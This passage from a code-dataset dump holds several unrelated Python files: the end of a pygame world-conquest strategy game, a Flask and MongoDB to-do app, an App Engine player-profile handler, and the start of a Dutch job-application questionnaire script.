>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\ngame_over_x = 0\r\ngame_over_y = 0\r\ngame_over_x_change = -2\r\ngame_over_y_change = -1\r\ngame_over_background = pygame.image.load(\"Game_Over.png\").convert()\r\n\r\ngame_over_font = pygame.font.SysFont('Timesroman', 200, True, False)\r\ngame_over_text_1 = game_over_font.render(\"GAME\", True, BLACK)\r\ngame_over_text_2 = game_over_font.render(\"OVER\", True, BLACK)\r\n#End of game over <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n\r\n\r\n#You won >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\nyou_won_x = -400\r\nyou_won_y = 0\r\nyou_won_background = pygame.image.load(\"You_Won.png\")\r\n\r\nyou_won_font = pygame.font.SysFont('Timesroman', 200, True, False)\r\nyou_won_text = you_won_font.render(\"YOU WON\", True, WHITE)\r\n#End of you won <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n\r\n\r\n#Battle scene >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\nbattle_x = 0\r\nbattle_y = 0\r\nbattle_x_change = -6\r\nbattle_y_change = -1\r\n#End of battle scene <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n\r\n\r\n#Map >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\nmap_background = pygame.image.load(\"Map_Background.png\").convert()\r\ngame_map = pygame.image.load(\"Game_Map.png\").convert()\r\n#End of map <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n\r\n\r\n#Buttons >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\nclass Button():\r\n def __init__(self):\r\n self.pos_x = 0\r\n self.pos_y = 0\r\n self.x_size = 0\r\n self.y_size = 0\r\n self.back_inset = 0\r\n self.back_color = (0, 0, 0)\r\n self.border_color = (0, 0, 0)\r\n self.text_color = (0, 0, 0)\r\n self.text = \"\"\r\n self.text_size = 0\r\n self.text_pos = 0\r\n \r\n def draw_button(self):\r\n #Border\r\n pygame.draw.rect(screen, self.border_color, [self.pos_x, self.pos_y, self.x_size, self.y_size])\r\n #Back\r\n pygame.draw.rect(screen, self.back_color, [(self.pos_x + self.back_inset), (self.pos_y + self.back_inset), (self.x_size - (2 * self.back_inset)), (self.y_size - (2 * self.back_inset))])\r\n #Text\r\n button_font = pygame.font.SysFont('Calibri', self.text_size, True, False)\r\n button_text = button_font.render(self.text, True, self.text_color)\r\n screen.blit(button_text, [self.text_pos, self.pos_y + self.back_inset])\r\n \r\nplay_button = Button()\r\nplay_button.pos_x = 350\r\nplay_button.pos_y = 450\r\nplay_button.x_size = 300\r\nplay_button.y_size = 100\r\nplay_button.back_inset = 10\r\nplay_button.back_color = GREEN\r\nplay_button.border_color = BLACK\r\nplay_button.text_color = BLACK\r\nplay_button.text = \"PLAY\"\r\nplay_button.text_size = 100\r\nplay_button_x2 = play_button.pos_x + play_button.x_size\r\nplay_button_y2 = play_button.pos_y + play_button.y_size\r\nplay_button.text_pos = 400\r\n\r\nquit_button = Button()\r\nquit_button.pos_x = 400\r\nquit_button.pos_y = 575\r\nquit_button.x_size = 200\r\nquit_button.y_size = 70\r\nquit_button.back_inset = 10\r\nquit_button.back_color = BLUE\r\nquit_button.border_color = BLACK\r\nquit_button.text_color = BLACK\r\nquit_button.text = \"QUIT\"\r\nquit_button.text_size = 50\r\nquit_button_x2 = quit_button.pos_x + quit_button.x_size\r\nquit_button_y2 = quit_button.pos_y + quit_button.y_size\r\nquit_button.text_pos = 445\r\n\r\nattack_button = Button()\r\nattack_button.pos_x = 400\r\nattack_button.pos_y = 575\r\nattack_button.x_size = 200\r\nattack_button.y_size = 60\r\nattack_button.back_inset = 7\r\nattack_button.back_color = RED\r\nattack_button.border_color = BLACK\r\nattack_button.text_color = GRAY\r\nattack_button.text = \"ATTACK\"\r\nattack_button.text_size = 50\r\nattack_button_x2 = attack_button.pos_x + attack_button.x_size\r\nattack_button_y2 = attack_button.pos_y + attack_button.y_size\r\nattack_button.text_pos = 420\r\n#End of buttons <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n\r\n\r\n#Capitals >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\ncity_clicked = \"None\"\r\n\r\ncity_armies = {}\r\ncity_armies[\"None\"] = 0\r\ncity_armies[\"Washington\"] = 1000\r\ncity_armies[\"Rio\"] = 600\r\ncity_armies[\"Paris\"] = 800\r\ncity_armies[\"Moscow\"] = 900\r\ncity_armies[\"Baghdad\"] = 700\r\ncity_armies[\"Tripoli\"] = 600\r\ncity_armies[\"Capetown\"] = 500\r\ncity_armies[\"Beijing\"] = 900\r\ncity_armies[\"Delhi\"] = 700\r\ncity_armies[\"Canberra\"] = 800\r\n\r\ndef armies_display(your_armies, enemy_armies):\r\n pygame.draw.rect(screen, BLACK, [25, 491, 318, 40])\r\n pygame.draw.rect(screen, VERY_LIGHT_GRAY, [30, 491, 308, 35])\r\n pygame.draw.rect(screen, BLACK, [615, 491, 360, 40])\r\n pygame.draw.rect(screen, VERY_LIGHT_GRAY, [620, 491, 350, 35]) \r\n \r\n armies_font = pygame.font.SysFont('Calibri', 25, True, False)\r\n armies_text_1 = armies_font.render((\"Your remaining armies: \" + str(your_armies)), True, BLACK)\r\n armies_text_2 = armies_font.render((\"Enemy's remaining armies: \" + str(enemy_armies)), True, BLACK)\r\n screen.blit(armies_text_1, [35, 500])\r\n screen.blit(armies_text_2, [625, 500]) \r\n\r\ncity_ownership = {}\r\ncity_ownership[\"None\"] = \"None\"\r\ncity_ownership[\"Washington\"] = \"Washington\"\r\ncity_ownership[\"Rio\"] = \"Rio\"\r\ncity_ownership[\"Paris\"] = \"Paris\"\r\ncity_ownership[\"Moscow\"] = \"Moscow\"\r\ncity_ownership[\"Baghdad\"] = \"Baghdad\"\r\ncity_ownership[\"Tripoli\"] = \"Tripoli\"\r\ncity_ownership[\"Capetown\"] = \"Capetown\"\r\ncity_ownership[\"Beijing\"] = \"Beijing\"\r\ncity_ownership[\"Delhi\"] = \"Delhi\"\r\ncity_ownership[\"Canberra\"] = \"Canberra\"\r\n\r\nclass Capital():\r\n def __init__(self):\r\n self.pos_x = 0\r\n self.pos_y = 0\r\n self.color = (0, 0, 0)\r\n self.crosshair_color = (255, 0, 0)\r\n \r\n def draw_capital(self):\r\n pygame.draw.circle(screen, BLACK, [self.pos_x, self.pos_y], 6)\r\n pygame.draw.circle(screen, self.color, [self.pos_x, self.pos_y], 4)\r\n \r\n def draw_crosshair(self):\r\n pygame.draw.line(screen, BLACK, [self.pos_x - 24, self.pos_y], [self.pos_x - 12, self.pos_y], 3)\r\n pygame.draw.line(screen, self.crosshair_color, [self.pos_x - 23, self.pos_y], [self.pos_x - 13, self.pos_y], 1)\r\n \r\n pygame.draw.line(screen, BLACK, [self.pos_x, self.pos_y - 24], [self.pos_x, self.pos_y - 12], 3)\r\n pygame.draw.line(screen, self.crosshair_color, [self.pos_x, self.pos_y - 13], [self.pos_x, self.pos_y - 23], 1)\r\n \r\n pygame.draw.line(screen, BLACK, [self.pos_x + 24, self.pos_y], [self.pos_x + 12, self.pos_y], 3)\r\n pygame.draw.line(screen, self.crosshair_color, [self.pos_x + 23, self.pos_y], [self.pos_x + 13, self.pos_y], 1)\r\n \r\n pygame.draw.line(screen, BLACK, [self.pos_x, self.pos_y + 13], [self.pos_x, self.pos_y + 23], 3)\r\n pygame.draw.line(screen, self.crosshair_color, [self.pos_x, self.pos_y + 12], [self.pos_x, self.pos_y + 24], 1)\r\n \r\n pygame.draw.circle(screen, BLACK, [self.pos_x, self.pos_y], 19, 1)\r\n pygame.draw.circle(screen, BLACK, [self.pos_x, self.pos_y], 17, 1)\r\n pygame.draw.circle(screen, self.crosshair_color, [self.pos_x, self.pos_y], 18, 1)\r\n \r\nwashington = Capital()\r\nwashington.pos_x = 210\r\nwashington.pos_y = 180\r\nwashington.color = GREEN\r\nwashington.crosshair_color = GREEN\r\n\r\nrio = Capital()\r\nrio.pos_x = 300\r\nrio.pos_y = 350\r\nrio.color = RED\r\n\r\nparis = Capital()\r\nparis.pos_x = 450\r\nparis.pos_y = 150\r\nparis.color = RED\r\n\r\nmoscow = Capital()\r\nmoscow.pos_x = 525\r\nmoscow.pos_y = 125\r\nmoscow.color = RED\r\n\r\nbaghdad = Capital()\r\nbaghdad.pos_x = 540\r\nbaghdad.pos_y = 190\r\nbaghdad.color = RED\r\n\r\ntripoli = Capital()\r\ntripoli.pos_x = 475\r\ntripoli.pos_y = 210\r\ntripoli.color = RED\r\n\r\ncapetown = Capital()\r\ncapetown.pos_x = 480\r\ncapetown.pos_y = 380\r\ncapetown.color = RED\r\n\r\nbeijing = Capital()\r\nbeijing.pos_x = 720\r\nbeijing.pos_y = 160\r\nbeijing.color = RED\r\n\r\ndelhi = Capital()\r\ndelhi.pos_x = 635\r\ndelhi.pos_y = 225\r\ndelhi.color = RED\r\n\r\ncanberra = Capital()\r\ncanberra.pos_x = 800\r\ncanberra.pos_y = 400\r\ncanberra.color = RED\r\n#End of capitals <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n\r\n\r\n#Loop as long as done == False\r\nwhile not done:\r\n \r\n for event in pygame.event.get(): #User did something\r\n if event.type == pygame.QUIT: #If user clicked close\r\n done = True #Flag that we are done so we exit this loop\r\n \r\n elif event.type == pygame.MOUSEBUTTONDOWN:\r\n mouse_down = True\r\n elif event.type == pygame.MOUSEBUTTONUP:\r\n mouse_down = False\r\n \r\n #All drawing code happens after the for loop and but\r\n #inside the main while not done loop.s\r\n \r\n #Clear the screen and set the screen background\r\n screen.fill(WHITE)\r\n#-------------------------------------------------------------------------------\r\n #Mouse >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n mouse_pos = pygame.mouse.get_pos()\r\n mouse_x = mouse_pos[0]\r\n mouse_y = mouse_pos[1]\r\n #Mouse end <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n \r\n \r\n if title_screen:\r\n #Background >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n screen.blit(background, [background_x, background_y])\r\n \r\n if counter % 3 == 0:\r\n background_x += background_x_change\r\n background_y += background_y_change\r\n if background_x <= -500 or background_x >= 0:\r\n background_x_change *= -1\r\n if background_y <= -50 or background_y >= 0:\r\n background_y_change *= -1\r\n \r\n screen.blit(background_text_1, [25, 25])\r\n screen.blit(background_text_2, [175, 175])\r\n #Background end <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n \r\n #Buttons >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n if (play_button.pos_x <= mouse_x <= play_button_x2) and (play_button.pos_y <= mouse_y <= play_button_y2):\r\n play_button.text_color = WHITE\r\n if mouse_down:\r\n title_screen = False\r\n playing_mode = True\r\n elif (quit_button.pos_x <= mouse_x <= quit_button_x2) and (quit_button.pos_y <= mouse_y <= quit_button_y2):\r\n quit_button.text_color = WHITE\r\n if mouse_down:\r\n done = True\r\n else:\r\n play_button.text_color = BLACK\r\n quit_button.text_color = BLACK\r\n \r\n play_button.draw_button()\r\n quit_button.draw_button()\r\n #Buttons end <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n \r\n \r\n elif playing_mode:\r\n #Background >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n screen.blit(map_background, [0, 0])\r\n pygame.draw.rect(screen, BLACK, [25, 25, 950, 466])\r\n screen.blit(game_map, [50, 50])\r\n \r\n armies_display(city_armies[\"Washington\"], city_armies[city_ownership[city_clicked]])\r\n #End of background <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n \r\n #Buttons >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n if city_clicked != \"None\" and city_ownership[city_clicked] != \"Washington\":\r\n if (attack_button.pos_x <= mouse_x <= attack_button_x2) and (attack_button.pos_y <= mouse_y <= attack_button_y2):\r\n attack_button.text_color = WHITE\r\n if mouse_down:\r\n playing_mode = False\r\n battle_scene = True\r\n randomizer = random.randint(1, 12)\r\n battle = pygame.image.load(\"Battle_\" + str(randomizer) + \".png\").convert()\r\n \r\n city_armies[\"Washington\"] -= random.randint(int((city_armies[\"Washington\"] + city_armies[city_ownership[city_clicked]]) * .05), int((city_armies[\"Washington\"] + city_armies[city_ownership[city_clicked]]) * .15))\r\n \r\n city_armies[city_ownership[city_clicked]] -= random.randint(int((city_armies[city_ownership[city_clicked]] + city_armies[\"Washington\"]) * .05), int((city_armies[city_ownership[city_clicked]] + city_armies[\"Washington\"]) * .15))\r\n \r\n if city_armies[city_ownership[city_clicked]] <= 0 and city_ownership[city_clicked] == city_clicked:\r\n for i in [\"Rio\", \"Paris\", \"Moscow\", \"Baghdad\", \"Tripoli\", \"Capetown\", \"Beijing\", \"Delhi\", \"Canberra\"]:\r\n if city_ownership[i] == city_clicked:\r\n city_armies[i] += 250\r\n city_ownership[city_clicked] = \"Washington\"\r\n city_armies[\"Washington\"] += random.randint(10, 50) * 10\r\n \r\n elif city_armies[city_ownership[city_clicked]] <= 100 and city_ownership[city_clicked] != city_clicked:\r\n for i in [\"Rio\", \"Paris\", \"Moscow\", \"Baghdad\", \"Tripoli\", \"Capetown\", \"Beijing\", \"Delhi\", \"Canberra\"]:\r\n if city_ownership[city_clicked] == i:\r\n city_armies[i] += 500\r\n city_ownership[city_clicked] = \"Washington\"\r\n city_armies[\"Washington\"] += random.randint(10, 25) * 10\r\n \r\n win_score = 0\r\n for i in [\"Washington\", \"Rio\", \"Paris\", \"Moscow\", \"Baghdad\", \"Tripoli\", \"Capetown\", \"Beijing\", \"Delhi\", \"Canberra\"]:\r\n if city_ownership[i] == i:\r\n if city_armies[i] > 0:\r\n city_armies[i] += int(city_armies[i] / (random.randint(2, 10)))\r\n if city_ownership[i] == \"Washington\":\r\n win_score += 1\r\n \r\n \r\n else:\r\n attack_button.back_color = RED\r\n attack_button.border_color = BLACK\r\n attack_button.text_color = BLACK\r\n\r\n else:\r\n attack_button.back_color = GRAY\r\n attack_button.border_color = LIGHT_GRAY\r\n attack_button.text_color = LIGHT_GRAY\r\n \r\n attack_button.draw_button()\r\n #End of buttons <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n \r\n #Capitals >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n if city_clicked == \"Washington\":\r\n washington.draw_crosshair()\r\n elif city_clicked == \"Rio\":\r\n rio.draw_crosshair()\r\n elif city_clicked == \"Paris\":\r\n paris.draw_crosshair()\r\n elif city_clicked == \"Moscow\":\r\n moscow.draw_crosshair()\r\n elif city_clicked == \"Baghdad\":\r\n baghdad.draw_crosshair()\r\n elif city_clicked == \"Tripoli\":\r\n tripoli.draw_crosshair()\r\n elif city_clicked == \"Capetown\":\r\n capetown.draw_crosshair()\r\n elif city_clicked == \"Beijing\":\r\n beijing.draw_crosshair()\r\n elif city_clicked == \"Delhi\":\r\n delhi.draw_crosshair()\r\n elif city_clicked == \"Canberra\":\r\n canberra.draw_crosshair()\r\n \r\n if (washington.pos_x - 5) <= mouse_x <= (washington.pos_x + 5) and (washington.pos_y - 5) <= mouse_y <= (washington.pos_y + 5):\r\n washington.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Washington\"\r\n elif (rio.pos_x - 5) <= mouse_x <= (rio.pos_x + 5) and (rio.pos_y - 5) <= mouse_y <= (rio.pos_y + 5):\r\n rio.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Rio\" \r\n elif (paris.pos_x - 5) <= mouse_x <= (paris.pos_x + 5) and (paris.pos_y - 5) <= mouse_y <= (paris.pos_y + 5):\r\n paris.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Paris\" \r\n elif (moscow.pos_x - 5) <= mouse_x <= (moscow.pos_x + 5) and (moscow.pos_y - 5) <= mouse_y <= (moscow.pos_y + 5):\r\n moscow.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Moscow\" \r\n elif (baghdad.pos_x - 5) <= mouse_x <= (baghdad.pos_x + 5) and (baghdad.pos_y - 5) <= mouse_y <= (baghdad.pos_y + 5):\r\n baghdad.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Baghdad\"\r\n elif (tripoli.pos_x - 5) <= mouse_x <= (tripoli.pos_x + 5) and (tripoli.pos_y - 5) <= mouse_y <= (tripoli.pos_y + 5):\r\n tripoli.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Tripoli\" \r\n elif (capetown.pos_x - 5) <= mouse_x <= (capetown.pos_x + 5) and (capetown.pos_y - 5) <= mouse_y <= (capetown.pos_y + 5):\r\n capetown.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Capetown\"\r\n elif (beijing.pos_x - 5) <= mouse_x <= (beijing.pos_x + 5) and (beijing.pos_y - 5) <= mouse_y <= (beijing.pos_y + 5):\r\n beijing.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Beijing\" \r\n elif (delhi.pos_x - 5) <= mouse_x <= (delhi.pos_x + 5) and (delhi.pos_y - 5) <= mouse_y <= (delhi.pos_y + 5):\r\n delhi.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Delhi\" \r\n elif (canberra.pos_x - 5) <= mouse_x <= (canberra.pos_x + 5) and (canberra.pos_y - 5) <= mouse_y <= (canberra.pos_y + 5):\r\n canberra.color = WHITE\r\n if mouse_down:\r\n city_clicked = \"Canberra\"\r\n \r\n elif mouse_down and not (attack_button.pos_x <= mouse_x <= attack_button_x2 and attack_button.pos_y <= mouse_y <= attack_button_y2):\r\n city_clicked = \"None\"\r\n\r\n else:\r\n if city_clicked != \"Washington\":\r\n washington.color = GREEN\r\n if city_clicked != \"Rio\":\r\n if city_ownership[\"Rio\"] != \"Washington\":\r\n rio.color = RED\r\n rio.crosshair_color = RED\r\n else:\r\n rio.color = GREEN\r\n rio.crosshair_color = GREEN\r\n if city_clicked != \"Paris\":\r\n if city_ownership[\"Paris\"] != \"Washington\":\r\n paris.color = RED\r\n paris.crosshair_color = RED\r\n else:\r\n paris.color = GREEN\r\n paris.crosshair_color = GREEN\r\n if city_clicked != \"Moscow\":\r\n if city_ownership[\"Moscow\"] != \"Washington\":\r\n moscow.color = RED\r\n moscow.crosshair_color = RED\r\n else:\r\n moscow.color = GREEN\r\n moscow.crosshair_color = GREEN\r\n if city_clicked != \"Baghdad\":\r\n if city_ownership[\"Baghdad\"] != \"Washington\":\r\n baghdad.color = RED\r\n baghdad.crosshair_color = RED\r\n else:\r\n baghdad.color = GREEN\r\n baghdad.crosshair_color = GREEN\r\n if city_clicked != \"Tripoli\":\r\n if city_ownership[\"Tripoli\"] != \"Washington\":\r\n tripoli.color = RED\r\n tripoli.crosshair_color = RED\r\n else:\r\n tripoli.color = GREEN\r\n tripoli.crosshair_color = GREEN\r\n if city_clicked != \"Capetown\":\r\n if city_ownership[\"Capetown\"] != \"Washington\":\r\n capetown.color = RED\r\n capetown.crosshair_color = RED\r\n else:\r\n capetown.color = GREEN\r\n capetown.crosshair_color = GREEN\r\n if city_clicked != \"Beijing\":\r\n if city_ownership[\"Beijing\"] != \"Washington\":\r\n beijing.color = RED\r\n beijing.crosshair_color = RED\r\n else:\r\n beijing.color = GREEN\r\n beijing.crosshair_color = GREEN\r\n if city_clicked != \"Delhi\":\r\n if city_ownership[\"Delhi\"] != \"Washington\":\r\n delhi.color = RED\r\n delhi.crosshair_color = RED\r\n else:\r\n delhi.color = GREEN\r\n delhi.crosshair_color = GREEN\r\n if city_clicked != \"Canberra\":\r\n if city_ownership[\"Canberra\"] != \"Washington\":\r\n canberra.color = RED\r\n canberra.crosshair_color = RED\r\n else:\r\n canberra.color = GREEN\r\n canberra.crosshair_color = GREEN\r\n \r\n washington.draw_capital()\r\n rio.draw_capital()\r\n paris.draw_capital()\r\n moscow.draw_capital()\r\n baghdad.draw_capital()\r\n tripoli.draw_capital()\r\n capetown.draw_capital()\r\n beijing.draw_capital()\r\n delhi.draw_capital()\r\n canberra.draw_capital()\r\n #End of capitals <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n \r\n \r\n elif battle_scene:\r\n screen.blit(battle, [battle_x, battle_y])\r\n if counter % 2 == 0:\r\n battle_x += battle_x_change\r\n battle_y += battle_y_change\r\n if battle_x <= -450:\r\n battle_scene = False\r\n playing_mode = True\r\n \r\n if win_score == 10:\r\n playing_mode = False\r\n you_won = True \r\n elif city_armies[\"Washington\"] <= 0:\r\n playing_mode = False\r\n game_over = True\r\n \r\n battle_x = 0\r\n battle_y = 0\r\n \r\n if you_won or game_over:\r\n for i in [\"Washington\", \"Rio\", \"Paris\", \"Moscow\", \"Baghdad\", \"Tripoli\", \"Capetown\", \"Beijing\", \"Delhi\", \"Canberra\"]:\r\n city_ownership[i] = i\r\n city_clicked = \"None\"\r\n city_armies[\"None\"] = 0\r\n city_armies[\"Washington\"] = 1000\r\n city_armies[\"Rio\"] = 600\r\n city_armies[\"Paris\"] = 800\r\n city_armies[\"Moscow\"] = 900\r\n city_armies[\"Baghdad\"] = 700\r\n city_armies[\"Tripoli\"] = 600\r\n city_armies[\"Capetown\"] = 500\r\n city_armies[\"Beijing\"] = 900\r\n city_armies[\"Delhi\"] = 700\r\n city_armies[\"Canberra\"] = 800 \r\n \r\n \r\n elif game_over:\r\n screen.blit(game_over_background, [game_over_x, game_over_y])\r\n \r\n if counter % 2 == 0:\r\n game_over_x += game_over_x_change\r\n game_over_y += game_over_y_change\r\n if game_over_x <= -600:\r\n game_over = False\r\n title_screen = True\r\n game_over_x = 0\r\n game_over_y = 0\r\n \r\n screen.blit(game_over_text_1, [125, 125])\r\n screen.blit(game_over_text_2, [275, 275]) \r\n \r\n \r\n elif you_won:\r\n screen.blit(you_won_background, [you_won_x, you_won_y])\r\n \r\n other_counter += 1\r\n if mouse_down and other_counter > 240:\r\n you_won = False\r\n title_screen = True\r\n other_counter = 0\r\n \r\n screen.blit(you_won_text, [5, -10])\r\n \r\n \r\n #Counter >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n counter += 1\r\n #Counter end <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n#-------------------------------------------------------------------------------\r\n pygame.display.flip()\r\n \r\n #This limits the while loop to a max of 60 times per second.\r\n #Leave this out and we will use all CPU we can.\r\n clock.tick(60)\r\n \r\n#Be IDLE friendly\r\npygame.quit()","sub_path":"Final_Project/_Main_Program_.py","file_name":"_Main_Program_.py","file_ext":"py","file_size_in_byte":25376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"246248580","text":"from flask import Flask, render_template, request, redirect, url_for\nimport session_items as session\nfrom item import Item\nfrom trello import TrelloClient\nfrom viewModel import ViewModel\nimport os\nimport pymongo\nfrom datetime import datetime\nfrom bson.objectid import ObjectId\n\ndate_time_format = \"%Y-%m-%dT%H:%M:%S.%fZ\"\n\n\ndef get_trello_board(api_key, token, board_id):\n client = TrelloClient(\n api_key=api_key,\n token=token\n )\n\n return client.get_board(board_id)\n\n\ndef get_items(collection):\n items = []\n\n for item in collection.find():\n items.append(\n Item(\n item['_id'],\n item['status'],\n item['title'],\n item['last_modified']\n )\n )\n\n return items\n\n\ndef add_new_item(collection, title):\n collection.insert_one(\n {\n \"title\": title,\n \"status\": 'ToDo',\n \"last_modified\": datetime.now()\n }\n )\n\n\ndef mark_item_as_complete(collection, id):\n collection.update_one(\n {\"_id\": ObjectId(id)},\n {\n \"$set\": {\n \"status\": 'Done',\n \"last_modified\": datetime.now()\n }\n }\n )\n\n\ndef mark_item_as_uncomplete(collection, id):\n collection.update_one(\n {\"_id\": ObjectId(id)},\n {\n \"$set\": {\n \"status\": 'ToDo',\n \"last_modified\": datetime.now()\n }\n }\n )\n\n\ndef get_db_collection():\n dbClientUri = f\"mongodb+srv://{os.getenv('MONGO_DB_USER_NAME')}:{os.getenv('MONGO_DB_PASSWORD')}@cluster0.59kpk.mongodb.net/?retryWrites=true&w=majority\"\n databaseName = os.getenv('MONGO_DB_DATABASE_NAME')\n collectionName = 'collection'\n\n dbClient = pymongo.MongoClient(dbClientUri)\n db = dbClient[databaseName]\n return db[collectionName]\n\n\ndef create_app():\n app = Flask(__name__)\n app.config.from_object('flask_config.Config')\n\n collection = get_db_collection()\n\n @app.route('/')\n def index():\n items = get_items(collection)\n item_view_model = ViewModel(items)\n return render_template('index.html', view_model=item_view_model)\n\n @app.route('/items/new', methods=['POST'])\n def add_item():\n title = request.form['title']\n add_new_item(collection, title)\n return redirect(url_for('index'))\n\n @app.route('/items//complete')\n def complete_item(id):\n mark_item_as_complete(collection, id)\n return redirect(url_for('index'))\n\n @app.route('/items//uncomplete')\n def uncomplete_item(id):\n mark_item_as_uncomplete(collection, id)\n return redirect(url_for('index'))\n\n return app\n\n\nif __name__ == '__main__':\n create_app().run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"244568891","text":"\"\"\"This is the Leaderboard.\"\"\"\n\nimport os\n\nfrom google.appengine.ext import db\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp import template\nfrom model import player as player_model\n\n\nclass PlayerHandler(webapp.RequestHandler):\n\n def get(self):\n id = self.request.get(\"id\")\n if id is None:\n self.error(403)\n \n player = player_model.Player.get_by_key_name(id)\n \n distance_traveled_miles = 0\n if player.total_distance_traveled_meters is not None:\n distance_traveled_miles = player.total_distance_traveled_meters / 1609.344\n \n self._OutputTemplate({\"player\": {\"user\": { \"nickname\": player.user.nickname(),\n \"email\": player.user.email(),\n \"user_id\": player.user.user_id() },\n \"level\": player.level,\n \"experience\": player.experience,\n \"current_health\": player.current_health,\n \"max_health\": player.max_health,\n \"strength\": player.strength,\n \"defense\": player.defense,\n \"reach_feet\": int(player.reach / 0.3048), # convert meters to feet\n \"total_distance_traveled_miles\": \"%.2f\" % distance_traveled_miles,\n }},\n \"player.html\")\n \n def _OutputTemplate(self, dict, template_name):\n path = os.path.join(os.path.dirname(__file__),\n '../templates', \n template_name)\n self.response.out.write(template.render(path, dict))","sub_path":"controller/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"327931630","text":"# sollicitatie.py\n\n# Gender\n\n\ngender = input('Wat is uw geslacht? ').lower()\nprint('U heeft ' + str(gender) + ' geantwoord.')\n\n\n# Vraag 1\n\nervaringA = 0\nervaringB = 0\nervaringC = 0\n\nrepeat = True\nwhile repeat:\n repeat = False\n ervaring = input('''Heeft U enkele jaren ervaring met: dierendressuur,\n jongleren of acrobatiek?\n Voor dierendressuur, vul in \"A\".\n Voor jongleren, vul in \"B\"\n Voor acrobatiek, vul in \"C\"\n Heeft U in geen van deze onderwerpen ervaring? vul dan in \"Nee\" ''').lower()\n if ervaring == 'a':\n ervaringA = int(input('''U heeft dierendressuur geselecteerd, \n hoeveel jaren ervaring heeft U hierin? '''))\n print('U heeft aangegeven dat U ' + str(ervaringA) + \n ' jaren ervaring heeft in dierendressuur, U gaat nu door naar de volgende vraag.')\n elif ervaring == 'b':\n ervaringB = int(input('''U heeft jongleren geselecteerd,\n hoeveel jaren ervaring heeft U hierin? '''))\n print('U heeft aangegeven dat U ' + str(ervaringB) + \n ' jaren ervaring heeft in jongleren, U gaat nu door naar de volgende vraag.')\n elif ervaring == 'c':\n ervaringC = int(input('''U heeft acrobatiek geselecteerd, \n hoeveel jaren ervaring heeft U hierin? '''))\n print('U heeft aangegeven dat U ' + str(ervaringC) + \n ' jaren ervaring heeft in acrobatiek, U gaat nu door naar de volgende vraag.')\n elif ervaring == 'nee':\n print('''U heeft geen ervaring geselecteerd, \n U gaat nu door naar de volgende vraag.''')\n else:\n print('Dat is geen mogelijk antwoord')\n repeat = True\n\nif ervaringA >= 4:\n requirement1 = True\nelif ervaringB >= 5:\n requirement1 = True\nelif 